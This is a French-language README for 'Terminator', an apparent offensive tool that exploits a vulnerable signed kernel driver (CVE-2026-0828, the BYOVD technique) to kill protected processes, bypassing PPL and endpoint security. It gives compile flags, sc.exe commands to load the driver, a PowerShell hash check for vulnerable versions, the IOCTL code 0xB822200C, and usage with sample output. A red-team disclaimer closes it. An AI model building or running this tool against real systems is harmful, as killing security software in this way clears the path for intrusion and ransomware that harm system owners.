
Tueur de processus en mode noyau exploitant CVE-2026-0828 (BYOVD) pour terminer des processus protégés via un pilote signé vulnérable, contournant PPL et la sécurité des points de terminaison.
Un outil de terminaison de processus en mode noyau exploitant un pilote vulnérable (CVE-2026-0828) pour tuer des processus protégés depuis le mode utilisateur.
Nécessite MinGW-w64 (GCC) sous Windows. Compilez avec :
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
Explication des options :
| Option | Rôle |
|---|---|
--% | Jeton PowerShell d'arrêt du parsing (transmet les arguments littéralement à g++) |
-Oz | Optimiser pour une taille minimale |
-ffunction-sections / -fdata-sections | Placer chaque fonction/donnée dans une section séparée |
-static / -static-libgcc / -static-libstdc++ | Liaison statique (aucune dépendance DLL à l'exécution) |
-Wl,--gc-sections | Le linker élimine les sections inutilisées |
-W | Activer les avertissements |
Résultat : terminator.exe autonome (~20-30 Ko, sans symboles).
Ce projet démontre l'exploitation d'un pilote noyau vulnérable (STProcessMonitorDriver) qui expose un gestionnaire IOCTL_KILL_PROCESS non validé, permettant de terminer arbitrairement des processus, quels que soient les privilèges ou les mécanismes de protection (PPL, flags EPROCESS, etc.).
| Composant | Rôle |
|---|---|
terminator.cpp | Client mode utilisateur qui énumère les processus et envoie les IOCTL de terminaison |
terminator.hpp | Interface de classe pour l'énumération et la terminaison des processus |
ProcessMonitorDriver.sys | Pilote noyau vulnérable (externe, non inclus) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)Process32First/Process32NextTerminator::ProcessKill()
\\.\STProcessMonitorDriverIOCTL_KILL_PROCESS (0xB822200C) avec un tampon PID de 8 octetsChargez le pilote vulnérable (nécessite des privilèges administrateur) :
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
Si une version vulnérable de ProcessMonitorDriver.sys est déjà installée et exécutée en tant que service (par exemple, à partir d'une application légitime), Terminator peut se connecter directement sans charger un nouveau pilote.
Vérifiez si le service existe et est en cours d'exécution :
sc.exe query STProcessMonitor
Vérifiez que la version du pilote est vulnérable (PowerShell) :
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
Si le service existe et est RUNNING avec une version vulnérable, ignorez les étapes de chargement du pilote et exécutez directement Terminator.
| Version | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
D'autres versions peuvent être concernées ; vérifiez le gestionnaire IOCTL du pilote avant toute utilisation.
terminator.exe -proc <process_name1> [process_name2] ...
Exemple :
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
Vulnérabilité : Le pilote STProcessMonitorDriver enregistre un gestionnaire IOCTL (0xB822200C) qui :
PsLookupProcessByProcessId → ZwTerminateProcessSYSTEM), contournant toutes les ACL du mode utilisateurImpact : Tout utilisateur non administrateur ayant accès au pilote peut terminer :
SeDebugPrivilegeCause racine : Absence de validation ObReferenceObjectByHandle, absence de SeSinglePrivilegeCheck(SeDebugPrivilege) et absence de contrôles d'accès à l'objet processus.
Cet outil est réservé à la recherche en sécurité autorisée et aux exercices d'équipe rouge (red team).
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive. Assurez-vous de disposer d'une autorisation écrite avant de déployer dans n'importe quel environnement.
Le pilote vulnérable (
ProcessMonitorDriver.sys) est volontairement imparfait à des fins de démonstration et ne doit jamais être déployé en production.